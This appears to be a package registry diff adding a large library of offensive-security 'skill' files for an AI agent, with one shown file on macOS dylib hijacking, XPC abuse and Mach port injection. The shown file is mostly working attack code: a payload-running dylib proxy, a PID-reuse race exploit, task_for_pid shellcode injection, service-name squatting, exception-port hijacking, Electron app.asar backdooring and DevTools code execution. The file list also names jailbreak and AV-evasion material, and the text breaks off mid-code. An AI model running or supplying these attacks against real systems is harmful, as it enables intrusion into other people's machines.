ineedcodes 1.6.0 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +47 -11
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,373 @@
|
|
|
1
|
+
# Dylib Hijacking & XPC Exploitation — Step-by-Step Techniques
|
|
2
|
+
|
|
3
|
+
> **AI LOAD INSTRUCTION**: Load this when you need detailed dylib hijacking methodology, XPC exploitation walkthroughs, or Mach port technique specifics. Assumes the main [SKILL.md](./SKILL.md) is already loaded for injection vector overview.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. DYLIB HIJACKING METHODOLOGY
|
|
8
|
+
|
|
9
|
+
### 1.1 Automated Discovery with DyLibHijackScanner
|
|
10
|
+
|
|
11
|
+
```bash
|
|
12
|
+
# Using DYLD_PRINT_RPATHS and DYLD_PRINT_LIBRARIES for analysis
|
|
13
|
+
DYLD_PRINT_RPATHS=1 DYLD_PRINT_LIBRARIES=1 /path/to/binary 2>&1 | tee /tmp/dylib_audit.txt
|
|
14
|
+
|
|
15
|
+
# Parse for missing libraries
|
|
16
|
+
grep "not found" /tmp/dylib_audit.txt
|
|
17
|
+
```
|
|
18
|
+
|
|
19
|
+
### 1.2 Manual Weak Dylib Enumeration
|
|
20
|
+
|
|
21
|
+
```bash
|
|
22
|
+
# Step 1: List all load commands
|
|
23
|
+
otool -l /path/to/binary > /tmp/loadcmds.txt
|
|
24
|
+
|
|
25
|
+
# Step 2: Extract weak dylib paths
|
|
26
|
+
grep -A 2 LC_LOAD_WEAK_DYLIB /tmp/loadcmds.txt | grep name | awk '{print $2}'
|
|
27
|
+
|
|
28
|
+
# Step 3: Check which are missing
|
|
29
|
+
while read lib; do
|
|
30
|
+
[ ! -f "$lib" ] && echo "HIJACKABLE: $lib"
|
|
31
|
+
done < <(grep -A 2 LC_LOAD_WEAK_DYLIB /tmp/loadcmds.txt | grep name | awk '{print $2}')
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
### 1.3 Rpath Analysis
|
|
35
|
+
|
|
36
|
+
```bash
|
|
37
|
+
# Step 1: Enumerate rpath entries (order matters!)
|
|
38
|
+
otool -l /path/to/binary | grep -A 2 LC_RPATH | grep path | awk '{print $2}'
|
|
39
|
+
|
|
40
|
+
# Step 2: Find rpath-relative imports
|
|
41
|
+
otool -L /path/to/binary | grep @rpath | awk '{print $1}'
|
|
42
|
+
|
|
43
|
+
# Step 3: Resolve each @rpath import against rpath entries in order
|
|
44
|
+
# First match wins — if earlier rpath dir is writable, you win
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
### 1.4 Complete Dylib Proxy Template
|
|
48
|
+
|
|
49
|
+
```c
|
|
50
|
+
// proxy.c — forwards all symbols to the real dylib while executing payload
|
|
51
|
+
|
|
52
|
+
#include <stdio.h>
|
|
53
|
+
#include <stdlib.h>
|
|
54
|
+
#include <dlfcn.h>
|
|
55
|
+
|
|
56
|
+
// Constructor runs when dylib is loaded
|
|
57
|
+
__attribute__((constructor))
|
|
58
|
+
static void payload(void) {
|
|
59
|
+
// Avoid running in unintended processes
|
|
60
|
+
const char *proc = getprogname();
|
|
61
|
+
if (strcmp(proc, "target_process") != 0) return;
|
|
62
|
+
|
|
63
|
+
// Execute payload
|
|
64
|
+
system("/path/to/payload.sh");
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
// Build with reexport to maintain original functionality:
|
|
68
|
+
// gcc -dynamiclib -o hijacked.dylib proxy.c \
|
|
69
|
+
// -Wl,-reexport_library,/path/to/original_real.dylib \
|
|
70
|
+
// -arch x86_64 -arch arm64 \
|
|
71
|
+
// -framework Foundation
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
### 1.5 Signing the Proxy Dylib
|
|
75
|
+
|
|
76
|
+
```bash
|
|
77
|
+
# If target binary has library validation disabled, ad-hoc signing suffices
|
|
78
|
+
codesign -s - hijacked.dylib
|
|
79
|
+
|
|
80
|
+
# If target requires same-team signing, need a valid Developer ID
|
|
81
|
+
codesign -s "Developer ID Application: ..." hijacked.dylib
|
|
82
|
+
|
|
83
|
+
# If target has no library validation at all, no signing needed
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
### 1.6 Dylib Hijacking Priority Matrix
|
|
87
|
+
|
|
88
|
+
| Hijack Type | Reliability | Stealth | Persistence | Prerequisite |
|
|
89
|
+
|---|---|---|---|---|
|
|
90
|
+
| Weak dylib (missing) | High | High | Per-launch | Writable target path |
|
|
91
|
+
| @rpath (writable prefix) | High | High | Per-launch | Writable rpath dir |
|
|
92
|
+
| Proxy (replace existing) | High | Medium | Per-launch | Writable dylib location + re-export |
|
|
93
|
+
| DYLD_INSERT_LIBRARIES | High | Low | Per-invocation | Env var entitlement |
|
|
94
|
+
| DYLD_LIBRARY_PATH override | Medium | Low | Per-invocation | No Hardened Runtime |
|
|
95
|
+
|
|
96
|
+
---
|
|
97
|
+
|
|
98
|
+
## 2. XPC EXPLOITATION WALKTHROUGH
|
|
99
|
+
|
|
100
|
+
### 2.1 Identifying XPC Services and Their Entitlements
|
|
101
|
+
|
|
102
|
+
```bash
|
|
103
|
+
# List all XPC services in an app bundle
|
|
104
|
+
find /Applications/Target.app -name "*.xpc" -type d
|
|
105
|
+
|
|
106
|
+
# Read the XPC service's Info.plist
|
|
107
|
+
plutil -p /Applications/Target.app/Contents/XPCServices/Helper.xpc/Contents/Info.plist
|
|
108
|
+
|
|
109
|
+
# Check launchd plist for Mach service name
|
|
110
|
+
cat /Library/LaunchDaemons/com.target.helper.plist | grep -A 1 MachServices
|
|
111
|
+
|
|
112
|
+
# Dump XPC service entitlements
|
|
113
|
+
codesign -d --entitlements :- /Applications/Target.app/Contents/XPCServices/Helper.xpc/Contents/MacOS/Helper
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
### 2.2 XPC Connection Interception
|
|
117
|
+
|
|
118
|
+
```objc
|
|
119
|
+
// Connecting to a third-party privileged helper
|
|
120
|
+
#import <Foundation/Foundation.h>
|
|
121
|
+
|
|
122
|
+
int main() {
|
|
123
|
+
NSXPCConnection *conn = [[NSXPCConnection alloc]
|
|
124
|
+
initWithMachServiceName:@"com.target.helper"
|
|
125
|
+
options:NSXPCConnectionPrivileged];
|
|
126
|
+
|
|
127
|
+
// Set the expected protocol interface
|
|
128
|
+
conn.remoteObjectInterface = [NSXPCInterface
|
|
129
|
+
interfaceWithProtocol:@protocol(HelperProtocol)];
|
|
130
|
+
|
|
131
|
+
conn.invalidationHandler = ^{ NSLog(@"Connection invalidated"); };
|
|
132
|
+
conn.interruptionHandler = ^{ NSLog(@"Connection interrupted"); };
|
|
133
|
+
|
|
134
|
+
[conn resume];
|
|
135
|
+
|
|
136
|
+
// Call methods on the remote object
|
|
137
|
+
[[conn remoteObjectProxyWithErrorHandler:^(NSError *err) {
|
|
138
|
+
NSLog(@"Error: %@", err);
|
|
139
|
+
}] performPrivilegedAction:@"payload"];
|
|
140
|
+
|
|
141
|
+
[[NSRunLoop currentRunLoop] run];
|
|
142
|
+
return 0;
|
|
143
|
+
}
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
### 2.3 PID Reuse Attack Implementation
|
|
147
|
+
|
|
148
|
+
```c
|
|
149
|
+
// pid_reuse.c — race condition exploit for PID-validated XPC
|
|
150
|
+
#include <stdio.h>
|
|
151
|
+
#include <stdlib.h>
|
|
152
|
+
#include <unistd.h>
|
|
153
|
+
#include <spawn.h>
|
|
154
|
+
#include <signal.h>
|
|
155
|
+
|
|
156
|
+
extern char **environ;
|
|
157
|
+
|
|
158
|
+
int main(int argc, char *argv[]) {
|
|
159
|
+
pid_t target_pid = atoi(argv[1]); // PID we want to impersonate
|
|
160
|
+
|
|
161
|
+
// Fork rapidly to try to get the target PID
|
|
162
|
+
for (int i = 0; i < 100000; i++) {
|
|
163
|
+
pid_t child = fork();
|
|
164
|
+
if (child == 0) {
|
|
165
|
+
if (getpid() == target_pid) {
|
|
166
|
+
// We got the target PID! Send XPC message now.
|
|
167
|
+
execl("/path/to/xpc_client", "xpc_client", NULL);
|
|
168
|
+
}
|
|
169
|
+
_exit(0);
|
|
170
|
+
}
|
|
171
|
+
waitpid(child, NULL, 0);
|
|
172
|
+
}
|
|
173
|
+
return 0;
|
|
174
|
+
}
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
### 2.4 Audit Token Extraction
|
|
178
|
+
|
|
179
|
+
```objc
|
|
180
|
+
// Properly extracting audit token from XPC connection (for defenders/auditors)
|
|
181
|
+
- (BOOL)listener:(NSXPCListener *)listener
|
|
182
|
+
shouldAcceptNewConnection:(NSXPCConnection *)conn {
|
|
183
|
+
|
|
184
|
+
audit_token_t token = conn.auditToken; // macOS 13+
|
|
185
|
+
// Or via private API:
|
|
186
|
+
// [conn valueForKey:@"auditToken"];
|
|
187
|
+
|
|
188
|
+
// Verify code signature using audit token (SECURE)
|
|
189
|
+
SecCodeRef code = NULL;
|
|
190
|
+
NSDictionary *attrs = @{
|
|
191
|
+
(__bridge NSString *)kSecGuestAttributeAudit: [NSData dataWithBytes:&token length:sizeof(token)]
|
|
192
|
+
};
|
|
193
|
+
SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef)attrs, kSecCSDefaultFlags, &code);
|
|
194
|
+
|
|
195
|
+
// Check requirement
|
|
196
|
+
SecRequirementRef req = NULL;
|
|
197
|
+
SecRequirementCreateWithString(
|
|
198
|
+
CFSTR("identifier \"com.legit.client\" and anchor apple generic"),
|
|
199
|
+
kSecCSDefaultFlags, &req);
|
|
200
|
+
|
|
201
|
+
OSStatus status = SecCodeCheckValidity(code, kSecCSDefaultFlags, req);
|
|
202
|
+
return (status == errSecSuccess);
|
|
203
|
+
}
|
|
204
|
+
```
|
|
205
|
+
|
|
206
|
+
---
|
|
207
|
+
|
|
208
|
+
## 3. MACH PORT TECHNIQUES
|
|
209
|
+
|
|
210
|
+
### 3.1 task_for_pid Memory Injection
|
|
211
|
+
|
|
212
|
+
```c
|
|
213
|
+
#include <mach/mach.h>
|
|
214
|
+
#include <mach/mach_vm.h>
|
|
215
|
+
|
|
216
|
+
kern_return_t inject_shellcode(pid_t target_pid, void *shellcode, size_t size) {
|
|
217
|
+
mach_port_t task;
|
|
218
|
+
kern_return_t kr;
|
|
219
|
+
|
|
220
|
+
// Get task port (requires root + non-SIP target)
|
|
221
|
+
kr = task_for_pid(mach_task_self(), target_pid, &task);
|
|
222
|
+
if (kr != KERN_SUCCESS) return kr;
|
|
223
|
+
|
|
224
|
+
// Allocate memory in target
|
|
225
|
+
mach_vm_address_t remote_addr = 0;
|
|
226
|
+
kr = mach_vm_allocate(task, &remote_addr, size, VM_FLAGS_ANYWHERE);
|
|
227
|
+
if (kr != KERN_SUCCESS) return kr;
|
|
228
|
+
|
|
229
|
+
// Write shellcode
|
|
230
|
+
kr = mach_vm_write(task, remote_addr, (vm_offset_t)shellcode, size);
|
|
231
|
+
if (kr != KERN_SUCCESS) return kr;
|
|
232
|
+
|
|
233
|
+
// Set executable permissions
|
|
234
|
+
kr = mach_vm_protect(task, remote_addr, size, FALSE,
|
|
235
|
+
VM_PROT_READ | VM_PROT_EXECUTE);
|
|
236
|
+
if (kr != KERN_SUCCESS) return kr;
|
|
237
|
+
|
|
238
|
+
// Create remote thread
|
|
239
|
+
x86_thread_state64_t state;
|
|
240
|
+
memset(&state, 0, sizeof(state));
|
|
241
|
+
state.__rip = remote_addr;
|
|
242
|
+
|
|
243
|
+
thread_act_t thread;
|
|
244
|
+
kr = thread_create_running(task, x86_THREAD_STATE64,
|
|
245
|
+
(thread_state_t)&state,
|
|
246
|
+
x86_THREAD_STATE64_COUNT, &thread);
|
|
247
|
+
return kr;
|
|
248
|
+
}
|
|
249
|
+
```
|
|
250
|
+
|
|
251
|
+
### 3.2 Bootstrap Server Name Squatting
|
|
252
|
+
|
|
253
|
+
```c
|
|
254
|
+
#include <servers/bootstrap.h>
|
|
255
|
+
#include <mach/mach.h>
|
|
256
|
+
|
|
257
|
+
// Register a Mach service name before the legitimate service does
|
|
258
|
+
kern_return_t squat_service(const char *service_name) {
|
|
259
|
+
mach_port_t bp, service_port;
|
|
260
|
+
|
|
261
|
+
task_get_bootstrap_port(mach_task_self(), &bp);
|
|
262
|
+
|
|
263
|
+
kern_return_t kr = bootstrap_check_in(bp, service_name, &service_port);
|
|
264
|
+
if (kr == KERN_SUCCESS) {
|
|
265
|
+
printf("[+] Squatted service: %s\n", service_name);
|
|
266
|
+
// Now receive messages intended for the real service
|
|
267
|
+
// Can inspect, modify, and forward them (MITM)
|
|
268
|
+
}
|
|
269
|
+
return kr;
|
|
270
|
+
}
|
|
271
|
+
```
|
|
272
|
+
|
|
273
|
+
### 3.3 Exception Port Hijacking
|
|
274
|
+
|
|
275
|
+
```c
|
|
276
|
+
#include <mach/mach.h>
|
|
277
|
+
|
|
278
|
+
// Set exception port on target to intercept crashes
|
|
279
|
+
kern_return_t hijack_exceptions(mach_port_t task) {
|
|
280
|
+
mach_port_t exc_port;
|
|
281
|
+
|
|
282
|
+
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &exc_port);
|
|
283
|
+
mach_port_insert_right(mach_task_self(), exc_port, exc_port,
|
|
284
|
+
MACH_MSG_TYPE_MAKE_SEND);
|
|
285
|
+
|
|
286
|
+
// Intercept all exceptions
|
|
287
|
+
kern_return_t kr = task_set_exception_ports(task,
|
|
288
|
+
EXC_MASK_ALL,
|
|
289
|
+
exc_port,
|
|
290
|
+
EXCEPTION_DEFAULT | MACH_EXCEPTION_CODES,
|
|
291
|
+
THREAD_STATE_NONE);
|
|
292
|
+
|
|
293
|
+
// Now wait for exception messages
|
|
294
|
+
// Can redirect execution by modifying thread state before replying
|
|
295
|
+
return kr;
|
|
296
|
+
}
|
|
297
|
+
```
|
|
298
|
+
|
|
299
|
+
---
|
|
300
|
+
|
|
301
|
+
## 4. ELECTRON-SPECIFIC DEEP DIVE
|
|
302
|
+
|
|
303
|
+
### 4.1 Identifying Electron Apps
|
|
304
|
+
|
|
305
|
+
```bash
|
|
306
|
+
# Quick check for Electron framework
|
|
307
|
+
find /Applications -path "*/Electron Framework.framework" -maxdepth 5 2>/dev/null
|
|
308
|
+
|
|
309
|
+
# Or check for Electron-specific files
|
|
310
|
+
find /Applications -name "electron.asar" -o -name "app.asar" 2>/dev/null
|
|
311
|
+
|
|
312
|
+
# Get Electron version
|
|
313
|
+
strings "/Applications/Target.app/Contents/Frameworks/Electron Framework.framework/Electron Framework" | grep "Chrome/" | head -1
|
|
314
|
+
```
|
|
315
|
+
|
|
316
|
+
### 4.2 Extracting and Patching app.asar
|
|
317
|
+
|
|
318
|
+
```bash
|
|
319
|
+
# Install asar tool
|
|
320
|
+
npm install -g @electron/asar
|
|
321
|
+
|
|
322
|
+
# Extract app code
|
|
323
|
+
asar extract "/Applications/Target.app/Contents/Resources/app.asar" /tmp/app_extracted
|
|
324
|
+
|
|
325
|
+
# Modify main entry point (usually main.js or index.js)
|
|
326
|
+
# Add payload at top of entry script
|
|
327
|
+
echo 'require("child_process").execSync("id > /tmp/pwned");' > /tmp/payload.js
|
|
328
|
+
cat /tmp/payload.js /tmp/app_extracted/main.js > /tmp/app_extracted/main_patched.js
|
|
329
|
+
mv /tmp/app_extracted/main_patched.js /tmp/app_extracted/main.js
|
|
330
|
+
|
|
331
|
+
# Repack (only works if OnlyLoadAppFromAsar fuse is off)
|
|
332
|
+
asar pack /tmp/app_extracted "/Applications/Target.app/Contents/Resources/app.asar"
|
|
333
|
+
```
|
|
334
|
+
|
|
335
|
+
### 4.3 Chrome DevTools Protocol Exploitation
|
|
336
|
+
|
|
337
|
+
```python
|
|
338
|
+
import websocket
|
|
339
|
+
import json
|
|
340
|
+
import requests
|
|
341
|
+
|
|
342
|
+
# When --inspect port is open
|
|
343
|
+
debug_url = requests.get("http://127.0.0.1:9229/json").json()[0]["webSocketDebuggerUrl"]
|
|
344
|
+
ws = websocket.create_connection(debug_url)
|
|
345
|
+
|
|
346
|
+
# Execute arbitrary code in the Electron main process
|
|
347
|
+
ws.send(json.dumps({
|
|
348
|
+
"id": 1,
|
|
349
|
+
"method": "Runtime.evaluate",
|
|
350
|
+
"params": {
|
|
351
